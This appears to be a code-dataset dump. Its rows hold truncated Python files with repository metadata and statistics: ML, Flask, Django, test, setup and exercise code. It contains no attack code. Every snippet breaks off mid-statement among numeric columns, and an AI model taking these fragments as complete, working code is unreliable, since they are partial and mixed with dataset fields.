class RRdetector(nn.Module):
def __init__(self, classifier, cls_norm, selfreweightCalibrate=True):
super(RRdetector, self).__init__()
self.classifier = cla... | 36.27027 | 77 | 0.599106 | 507 | 4,026 | 4.516765 | 0.258383 | 0.031441 | 0.019651 | 0.026201 | 0.219651 | 0.133624 | 0.08821 | 0.08821 | 0.034061 | 0.034061 | 0 | 0.005297 | 0.296572 | 4,026 | 110 | 78 | 36.6 | 0.803319 | 0.06458 | 0 | 0.094118 | 0 | 0 | 0.048531 | 0.005662 | 0 | 0 | 0 | 0 | 0 | 1 | 0.141176 | false | 0.058824 | 0.070588 | 0.023529 | 0.329412 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
5614f3ed0d10e505e95f8d614bcd1b4b8b1f3bf9 | 406 | py | Python | OOP/inheritence.py | rabinadk1/Python | 8f31a87ad62bdf40bfd7c9f265e8652954b3a562 | [
"MIT"
] | null | null | null | OOP/inheritence.py | rabinadk1/Python | 8f31a87ad62bdf40bfd7c9f265e8652954b3a562 | [
"MIT"
] | null | null | null | OOP/inheritence.py | rabinadk1/Python | 8f31a87ad62bdf40bfd7c9f265e8652954b3a562 | [
"MIT"
] | null | null | null | class parent:
counter=10
hit=15
def __init__(self):
print("Parent class initialized.")
def SetCounter(self, num):
self.counter= num
class child(parent): # child is the child class of Parent
def __init__(self):
print("Child class being initialized.")
def SetHit(self, num2):
self.hit=num2
c= child()
print... | 17.652174 | 57 | 0.716749 | 65 | 406 | 4.353846 | 0.353846 | 0.084806 | 0.077739 | 0.113074 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028818 | 0.14532 | 406 | 22 | 58 | 18.454545 | 0.786744 | 0.083744 | 0 | 0.315789 | 0 | 0 | 0.149051 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.210526 | false | 0 | 0 | 0 | 0.421053 | 0.315789 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
561909219a2f26d6304fe92a62a0a719356fe045 | 4,150 | py | Python | service.py | xXcoronaXx/servidor-adhoc | 780d3c1c0a1aa558c928a79114ed37041d493fd3 | [
"MIT"
] | 1 | 2015-01-20T11:37:40.000Z | 2015-01-20T11:37:40.000Z | service.py | xXcoronaXx/servidor-adhoc | 780d3c1c0a1aa558c928a79114ed37041d493fd3 | [
"MIT"
] | null | null | null | service.py | xXcoronaXx/servidor-adhoc | 780d3c1c0a1aa558c928a79114ed37041d493fd3 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
from webservice import *
from admin import *
from setting import *
import json
import socket
import time
# class BroadCaster(object):
# """BroadCaster, emite MESSAGE en formato JSON a difusion al puerto 5555"""
# def __init__(self, MESSAGE):
# super(BroadCaster, self).... | 33.739837 | 196 | 0.700241 | 595 | 4,150 | 4.744538 | 0.302521 | 0.068013 | 0.053843 | 0.070847 | 0.315976 | 0.303932 | 0.297556 | 0.284803 | 0.28197 | 0.077931 | 0 | 0.038957 | 0.140241 | 4,150 | 123 | 197 | 33.739837 | 0.752242 | 0.489639 | 0 | 0.098039 | 0 | 0 | 0.115815 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.117647 | null | null | 0.254902 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5622b5686ba1e28c0b21a9d6d1a9414facd6f8df | 252 | py | Python | subsets/subsets.py | shaurya-src/code-leet | f642b81eb7bead46c66404bd48ca74bdfeb2abbb | [
"MIT"
] | null | null | null | subsets/subsets.py | shaurya-src/code-leet | f642b81eb7bead46c66404bd48ca74bdfeb2abbb | [
"MIT"
] | null | null | null | subsets/subsets.py | shaurya-src/code-leet | f642b81eb7bead46c66404bd48ca74bdfeb2abbb | [
"MIT"
] | null | null | null | from itertools import combinations as comb
class Solution:
def subsets(self, nums: List[int]) -> List[List[int]]:
res = []
for i in range(len(nums)+1):
curr = comb(nums, i)
res.extend(curr)
return res | 31.5 | 58 | 0.56746 | 34 | 252 | 4.205882 | 0.705882 | 0.097902 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00578 | 0.313492 | 252 | 8 | 59 | 31.5 | 0.820809 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5625237226865678cf15e5679eedd5f6dc507e80 | 3,784 | py | Python | drmaa2/drmaa2_constants.py | gridengine/drmaa2-python | 36e84e8dc0079c9e3d772c1536f07ecb1e435684 | [
"Apache-2.0"
] | 10 | 2019-05-28T23:17:39.000Z | 2022-01-14T08:52:54.000Z | drmaa2/drmaa2_constants.py | iamh2o/drmaa2-python | 36e84e8dc0079c9e3d772c1536f07ecb1e435684 | [
"Apache-2.0"
] | 5 | 2019-11-01T10:50:19.000Z | 2021-12-13T11:56:19.000Z | drmaa2/drmaa2_constants.py | iamh2o/drmaa2-python | 36e84e8dc0079c9e3d772c1536f07ecb1e435684 | [
"Apache-2.0"
] | 2 | 2019-02-26T16:36:07.000Z | 2019-10-29T02:02:06.000Z | #!/usr/bin/env python
# ___INFO__MARK_BEGIN__
#######################################################################################
# Copyright 2008-2021 Univa Corporation (acquired and owned by Altair Engineering Inc.)
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file exce... | 21.378531 | 87 | 0.611522 | 484 | 3,784 | 4.597107 | 0.485537 | 0.052584 | 0.011685 | 0.014382 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.057562 | 0.260835 | 3,784 | 176 | 88 | 21.5 | 0.737934 | 0.25185 | 0 | 0.016667 | 0 | 0 | 0.038865 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.025 | 0 | 0.925 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
56270e8a8dcfcea847ddabb644ee1935a2590f8b | 1,652 | py | Python | Semana 1/additionAndSubtraction/test_pytest_addition_and_subtraction.py | juandausa/CompetitiveProgrammingCoreSkills | 1ef0d902b6c05afba4b44c34ade87c376187fd1d | [
"MIT"
] | null | null | null | Semana 1/additionAndSubtraction/test_pytest_addition_and_subtraction.py | juandausa/CompetitiveProgrammingCoreSkills | 1ef0d902b6c05afba4b44c34ade87c376187fd1d | [
"MIT"
] | null | null | null | Semana 1/additionAndSubtraction/test_pytest_addition_and_subtraction.py | juandausa/CompetitiveProgrammingCoreSkills | 1ef0d902b6c05afba4b44c34ade87c376187fd1d | [
"MIT"
] | null | null | null | from addition_and_subtraction import solve
from random import randrange
def test_stamente_one():
assert solve([2, 0, 3]) == -1
def test_stament_two():
assert solve([2, 1, 3]) == 3
def test_lower_limits():
assert solve([0, 0, 0]) == 0
def test_higher_limits():
assert solve([1000,... | 22.630137 | 81 | 0.603511 | 233 | 1,652 | 4.077253 | 0.287554 | 0.081053 | 0.050526 | 0.094737 | 0.1 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091133 | 0.262712 | 1,652 | 72 | 82 | 22.944444 | 0.688834 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.255814 | 1 | 0.325581 | false | 0 | 0.046512 | 0 | 0.44186 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
562901c49d15424df060711579997ad94d041c2f | 6,169 | py | Python | test/test_shopping_list.py | msmolens/python-grpc-ssl-example | 9fd9cca8ab764743a09820475d7f09636ef23d11 | [
"Apache-2.0"
] | null | null | null | test/test_shopping_list.py | msmolens/python-grpc-ssl-example | 9fd9cca8ab764743a09820475d7f09636ef23d11 | [
"Apache-2.0"
] | null | null | null | test/test_shopping_list.py | msmolens/python-grpc-ssl-example | 9fd9cca8ab764743a09820475d7f09636ef23d11 | [
"Apache-2.0"
] | null | null | null | """
Tests for ShoppingListService shopping list methods.
"""
import grpc
import pytest
import shopping_list_pb2
@pytest.fixture
def update_shopping_list(service, context):
"""
Fixture for factory function to update a shopping list.
"""
def _update_shopping_list(shopping_list):
request = shop... | 32.298429 | 97 | 0.754741 | 776 | 6,169 | 5.637887 | 0.092784 | 0.216686 | 0.1152 | 0.063086 | 0.780343 | 0.691429 | 0.578514 | 0.495771 | 0.431314 | 0.398629 | 0 | 0.010257 | 0.162425 | 6,169 | 190 | 98 | 32.468421 | 0.836462 | 0.050089 | 0 | 0.378151 | 0 | 0 | 0.071355 | 0 | 0 | 0 | 0 | 0 | 0.294118 | 1 | 0.159664 | false | 0 | 0.02521 | 0 | 0.252101 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
562dc6799ec0e0de19087ec3802f16aa8a6dacd1 | 1,495 | py | Python | setup.py | HFulcher/gapipy | 43a215f4abb542c6af7e50bc178298302af69c7a | [
"MIT"
] | 2 | 2020-08-11T11:54:20.000Z | 2020-09-02T12:08:29.000Z | setup.py | HFulcher/gapipy | 43a215f4abb542c6af7e50bc178298302af69c7a | [
"MIT"
] | 18 | 2020-07-23T20:56:20.000Z | 2021-06-02T04:04:56.000Z | setup.py | HFulcher/gapipy | 43a215f4abb542c6af7e50bc178298302af69c7a | [
"MIT"
] | null | null | null | import codecs
from setuptools import find_packages, setup
setup(name='gapipy',
description='A wrapper for the Google Analytics API.',
long_description=codecs.open('README.md', 'r', 'utf-8').read(),
author='Huw Fulcher',
author_email='fulcherhuw@gmail.com',
url='https://github.com/huwfulc... | 33.977273 | 76 | 0.563211 | 169 | 1,495 | 4.928994 | 0.591716 | 0.068427 | 0.090036 | 0.060024 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042435 | 0.274916 | 1,495 | 43 | 77 | 34.767442 | 0.726015 | 0 | 0 | 0.04878 | 0 | 0 | 0.507692 | 0.068227 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.04878 | 0 | 0.04878 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
56309248c0e15718fb8dae6f8b11561ad2621990 | 3,160 | py | Python | examples/macrospin/test_macrospin_alpha_rtol.py | davidcortesortuno/finmag | 9ac0268d2c0e45faf1284cee52a73525aa589e2b | [
"BSL-1.0"
] | 10 | 2018-03-24T07:43:17.000Z | 2022-03-26T10:42:27.000Z | examples/macrospin/test_macrospin_alpha_rtol.py | davidcortesortuno/finmag | 9ac0268d2c0e45faf1284cee52a73525aa589e2b | [
"BSL-1.0"
] | 21 | 2018-03-26T15:08:53.000Z | 2021-07-10T16:11:14.000Z | examples/macrospin/test_macrospin_alpha_rtol.py | davidcortesortuno/finmag | 9ac0268d2c0e45faf1284cee52a73525aa589e2b | [
"BSL-1.0"
] | 7 | 2018-04-09T11:50:48.000Z | 2021-06-10T09:23:25.000Z | import py
import os
import dolfin
import numpy
import logging
import matplotlib.pyplot as plt
from finmag import Simulation
from finmag.energies import Zeeman
from test_macrospin import make_analytic_solution
from scipy.integrate import odeint
log = logging.getLogger(name='finmag')
log.setLevel(logging.WARNING)
"""
W... | 38.536585 | 110 | 0.65443 | 454 | 3,160 | 4.385463 | 0.365639 | 0.015068 | 0.026118 | 0.032145 | 0.119538 | 0.068307 | 0.039176 | 0.039176 | 0.039176 | 0 | 0 | 0.026789 | 0.243987 | 3,160 | 81 | 111 | 39.012346 | 0.806614 | 0.160127 | 0 | 0 | 0 | 0 | 0.075472 | 0.012305 | 0 | 0 | 0 | 0 | 0.018868 | 0 | null | null | 0 | 0.188679 | null | null | 0.037736 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5630d5ff45d4f60f5989786ff0dd804253f86fcb | 996 | py | Python | app/api/v1/theme.py | ShuaiGao/mini-shop-server | 8a72b2d457bba8778e97637027ffa82bfa11e8a9 | [
"MIT"
] | 1 | 2019-09-05T02:17:40.000Z | 2019-09-05T02:17:40.000Z | app/api/v1/theme.py | zyxyuanxiao/mini-shop-server | 90eb5a36b75e680c6f5fe324261fe0c53373cf5a | [
"MIT"
] | 1 | 2019-07-08T12:32:29.000Z | 2019-07-08T12:32:29.000Z | app/api/v1/theme.py | ShuaiGao/mini-shop-server | 8a72b2d457bba8778e97637027ffa82bfa11e8a9 | [
"MIT"
] | null | null | null | # _*_ coding: utf-8 _*_
"""
Created by Allen7D on 2018/6/17.
"""
from flask import request
from app.libs.limiter import cached
from app.libs.error_code import Success
from app.libs.redprint import RedPrint
from app.models.theme import Theme
from app.validators.params import IDCollection, IDMustBePositiveInt
from app.... | 24.292683 | 67 | 0.731928 | 148 | 996 | 4.75 | 0.445946 | 0.059744 | 0.046942 | 0.045519 | 0.079659 | 0.079659 | 0.079659 | 0 | 0 | 0 | 0 | 0.015891 | 0.115462 | 996 | 40 | 68 | 24.9 | 0.782066 | 0.179719 | 0 | 0.173913 | 0 | 0 | 0.036755 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.086957 | false | 0 | 0.304348 | 0 | 0.478261 | 0.043478 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
5633d3ee945694dde7915b35209f6b21c791353f | 905 | py | Python | BugCollector.py | Williano/Solved-Practice-Questions | 40ab255d0a9270dc2a3072703e534ff551961512 | [
"MIT"
] | null | null | null | BugCollector.py | Williano/Solved-Practice-Questions | 40ab255d0a9270dc2a3072703e534ff551961512 | [
"MIT"
] | null | null | null | BugCollector.py | Williano/Solved-Practice-Questions | 40ab255d0a9270dc2a3072703e534ff551961512 | [
"MIT"
] | null | null | null | # Script: BugCollector.py
# Descritption: This program ask for the number of bugs collected for each day,keeps running total of the
# nunber of bugs collected and display the total number of bugs collected.
# Programmer: William Kpabitey Kwabla
# Date: 16.07.16
# Defining the main function
def main():
... | 31.206897 | 105 | 0.680663 | 132 | 905 | 4.651515 | 0.431818 | 0.078176 | 0.136808 | 0.17101 | 0.270358 | 0.187296 | 0.140065 | 0.140065 | 0.140065 | 0.140065 | 0 | 0.013353 | 0.255249 | 905 | 28 | 106 | 32.321429 | 0.897626 | 0.616575 | 0 | 0 | 0 | 0 | 0.308383 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.125 | 0.25 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
563504c5e8d2db65169da47b6fb436be24b068c2 | 811 | py | Python | commands/basic.py | WilhelmWillie/wilburbot | 785a7f36b23384e91995478a17f95b16dbab6a71 | [
"MIT",
"Unlicense"
] | null | null | null | commands/basic.py | WilhelmWillie/wilburbot | 785a7f36b23384e91995478a17f95b16dbab6a71 | [
"MIT",
"Unlicense"
] | null | null | null | commands/basic.py | WilhelmWillie/wilburbot | 785a7f36b23384e91995478a17f95b16dbab6a71 | [
"MIT",
"Unlicense"
] | null | null | null | import stats
import util
PRIORITY = 1
'''
Returns true if user input is valid for this command
Usually some sort of RegEx or "x in y" statement would go here
'''
def is_valid(tweet):
return "basic stat" in tweet or "calculate my averages" in tweet or "calculate averages" in tweet
'''
Command logic goes here.
Wh... | 31.192308 | 137 | 0.733662 | 130 | 811 | 4.484615 | 0.630769 | 0.068611 | 0.030875 | 0.06175 | 0.072041 | 0.072041 | 0 | 0 | 0 | 0 | 0 | 0.016743 | 0.189889 | 811 | 26 | 138 | 31.192308 | 0.870624 | 0.038224 | 0 | 0 | 0 | 0.090909 | 0.253259 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.181818 | 0.090909 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
56424e2e8ade5b10fa36c7ecb716f00e5258965f | 417 | py | Python | corporate/migrations/0014_customerplan_end_date.py | dumpmemory/zulip | 496273ddbc567330a0022699d6d6eb5c646e5da5 | [
"Apache-2.0"
] | 17,004 | 2015-09-25T18:27:24.000Z | 2022-03-31T22:02:32.000Z | corporate/migrations/0014_customerplan_end_date.py | dumpmemory/zulip | 496273ddbc567330a0022699d6d6eb5c646e5da5 | [
"Apache-2.0"
] | 20,344 | 2015-09-25T19:02:42.000Z | 2022-03-31T23:54:40.000Z | corporate/migrations/0014_customerplan_end_date.py | dumpmemory/zulip | 496273ddbc567330a0022699d6d6eb5c646e5da5 | [
"Apache-2.0"
] | 7,271 | 2015-09-25T18:48:39.000Z | 2022-03-31T21:06:11.000Z | # Generated by Django 3.2.6 on 2021-09-17 10:52
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("corporate", "0013_alter_zulipsponsorshiprequest_org_website"),
]
operations = [
migrations.AddField(
model_name="customerplan",
... | 21.947368 | 72 | 0.628297 | 43 | 417 | 5.953488 | 0.860465 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062092 | 0.266187 | 417 | 18 | 73 | 23.166667 | 0.77451 | 0.107914 | 0 | 0 | 1 | 0 | 0.202703 | 0.124324 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5661f2148943037fd10af80ca88b5398c425b87c | 409 | py | Python | wave/wave/wave.py | jedhsu/wave | a05d8f4b0a96722bdc2f5a514646c7a44681982b | [
"Apache-2.0"
] | null | null | null | wave/wave/wave.py | jedhsu/wave | a05d8f4b0a96722bdc2f5a514646c7a44681982b | [
"Apache-2.0"
] | null | null | null | wave/wave/wave.py | jedhsu/wave | a05d8f4b0a96722bdc2f5a514646c7a44681982b | [
"Apache-2.0"
] | null | null | null | """
Wave
Main wave type.
"""
from __future__ import annotations
from dataclasses import dataclass
from typing import MutableSequence
__all__ = ["Wave"]
class Wave:
waveform: Waveform
class Ops:
"""
Transform operators.
"""
def __add__(self, w: Wave) -> Wave:
def convolve(self... | 12.029412 | 39 | 0.586797 | 43 | 409 | 5.27907 | 0.55814 | 0.079295 | 0.114537 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.290954 | 409 | 33 | 40 | 12.393939 | 0.782759 | 0 | 0 | 0.214286 | 0 | 0 | 0.01194 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.214286 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
566742ee7bb78365ceb63530310e873989a793ae | 1,018 | py | Python | Trakttv.bundle/Contents/Libraries/Shared/plugin/preferences/options/pin.py | disrupted/Trakttv.bundle | 24712216c71f3b22fd58cb5dd89dad5bb798ed60 | [
"RSA-MD"
] | 1,346 | 2015-01-01T14:52:24.000Z | 2022-03-28T12:50:48.000Z | Trakttv.bundle/Contents/Libraries/Shared/plugin/preferences/options/pin.py | alcroito/Plex-Trakt-Scrobbler | 4f83fb0860dcb91f860d7c11bc7df568913c82a6 | [
"RSA-MD"
] | 474 | 2015-01-01T10:27:46.000Z | 2022-03-21T12:26:16.000Z | Trakttv.bundle/Contents/Libraries/Shared/plugin/preferences/options/pin.py | alcroito/Plex-Trakt-Scrobbler | 4f83fb0860dcb91f860d7c11bc7df568913c82a6 | [
"RSA-MD"
] | 191 | 2015-01-02T18:27:22.000Z | 2022-03-29T10:49:48.000Z | from plugin.core.environment import translate as _
from plugin.managers.account import TraktAccountManager
from plugin.models import TraktAccount
from plugin.preferences.options.core.base import SimpleOption
import logging
log = logging.getLogger(__name__)
class PinOption(SimpleOption):
type = 'string'
gro... | 27.513514 | 80 | 0.697446 | 108 | 1,018 | 6.425926 | 0.481481 | 0.057637 | 0.04611 | 0.066282 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.230845 | 1,018 | 36 | 81 | 28.277778 | 0.886335 | 0.104126 | 0 | 0.095238 | 0 | 0 | 0.071665 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0 | 0.238095 | 0.047619 | 0.761905 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
5668e4908cbbd9a495c43320d3dcc5160915c8a8 | 1,234 | py | Python | Graph/Graph.py | SomRawat/Hacktoberfest2021-DSA | a23800b0fe05d4dcfdf36c0ac19f2133d7a1f40b | [
"MIT"
] | null | null | null | Graph/Graph.py | SomRawat/Hacktoberfest2021-DSA | a23800b0fe05d4dcfdf36c0ac19f2133d7a1f40b | [
"MIT"
] | null | null | null | Graph/Graph.py | SomRawat/Hacktoberfest2021-DSA | a23800b0fe05d4dcfdf36c0ac19f2133d7a1f40b | [
"MIT"
] | null | null | null | # filename : Graph.py
# ------------------------------------------------------------------------------------
class Graph:
def __init__(self, number_of_vertex, number_of_edges, is_directed = False, is_weighted = False):
self.number_of_vertices = number_of_vertex
self.number_of_edges = number_... | 31.641026 | 113 | 0.493517 | 131 | 1,234 | 4.374046 | 0.412214 | 0.111693 | 0.104712 | 0.069808 | 0.066318 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004566 | 0.290113 | 1,234 | 38 | 114 | 32.473684 | 0.649543 | 0.256078 | 0 | 0 | 0 | 0 | 0.001098 | 0 | 0 | 0 | 0 | 0.026316 | 0 | 1 | 0.136364 | false | 0.045455 | 0 | 0 | 0.227273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
56693ccb2cd9a483d001c602c5e539ab14bf448f | 2,198 | py | Python | examples/example_4.py | godfrey-leung/shopping | e57c8246961fc3bd5dbffd05e7ffd2ed43a8867a | [
"MIT"
] | null | null | null | examples/example_4.py | godfrey-leung/shopping | e57c8246961fc3bd5dbffd05e7ffd2ed43a8867a | [
"MIT"
] | null | null | null | examples/example_4.py | godfrey-leung/shopping | e57c8246961fc3bd5dbffd05e7ffd2ed43a8867a | [
"MIT"
] | null | null | null | #!/usr/bin/env python
from pathlib import Path
from shopping_cart.make_store import make_new_store
from shopping_cart.shopping.cart import ShoppingCart
directory = Path(__file__).parent.parent
def main():
store = make_new_store(directory / "files/stores/store_2.yaml")
cart_1 = ShoppingCart(store=store)
... | 28.921053 | 67 | 0.688353 | 306 | 2,198 | 4.69281 | 0.179739 | 0.091922 | 0.068942 | 0.052228 | 0.761142 | 0.715877 | 0.682451 | 0.567549 | 0.567549 | 0.567549 | 0 | 0.017484 | 0.193358 | 2,198 | 75 | 68 | 29.306667 | 0.792442 | 0.067789 | 0 | 0.5 | 0 | 0 | 0.333496 | 0.154523 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02 | false | 0 | 0.06 | 0 | 0.08 | 0.3 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
566c0a1c2fedc11df38941b48f1c06278808412c | 266 | py | Python | aristotle/apps/policies/urls.py | jermnelson/FRBR-Redis-Datastore | d44af821536b82f5fafa5bed7a51fa86e9a92243 | [
"Apache-2.0"
] | 1 | 2015-09-24T01:12:02.000Z | 2015-09-24T01:12:02.000Z | aristotle/apps/policies/urls.py | jermnelson/FRBR-Redis-Datastore | d44af821536b82f5fafa5bed7a51fa86e9a92243 | [
"Apache-2.0"
] | 1 | 2021-12-13T19:39:44.000Z | 2021-12-13T19:39:44.000Z | aristotle/apps/policies/urls.py | jermnelson/FRBR-Redis-Datastore | d44af821536b82f5fafa5bed7a51fa86e9a92243 | [
"Apache-2.0"
] | null | null | null | """
mod:`url` Call Number Application URL routing
"""
__author__ = 'Gautam Webb'
import policies.views
from django.conf.urls.defaults import *
urlpatterns = patterns('policies.views',
url(r"^$","default",name='policies-app-default'),
)
| 22.166667 | 53 | 0.650376 | 30 | 266 | 5.633333 | 0.766667 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.199248 | 266 | 11 | 54 | 24.181818 | 0.793427 | 0.169173 | 0 | 0 | 0 | 0 | 0.254717 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
567958427695ef4920058459e5b4a0dd0a0d886e | 5,199 | py | Python | pabapi/sql.py | somada141/pwc-address-book-api | d927cd6c765e48c49f0380819477c616af74e86d | [
"MIT"
] | null | null | null | pabapi/sql.py | somada141/pwc-address-book-api | d927cd6c765e48c49f0380819477c616af74e86d | [
"MIT"
] | 1 | 2021-06-01T23:24:36.000Z | 2021-06-01T23:24:36.000Z | pabapi/sql.py | somada141/pwc-address-book-api | d927cd6c765e48c49f0380819477c616af74e86d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
""" Boilerplate SQLAlchemy to MySQL-server interaction module.
This module contains the `BoilerplateSql` class which is meant to facilitate
safe interaction between SQLAlchemy and MySQL-servers.
"""
import contextlib
import sqlalchemy
import sqlalchemy.orm
class BoilerplateSql(object):
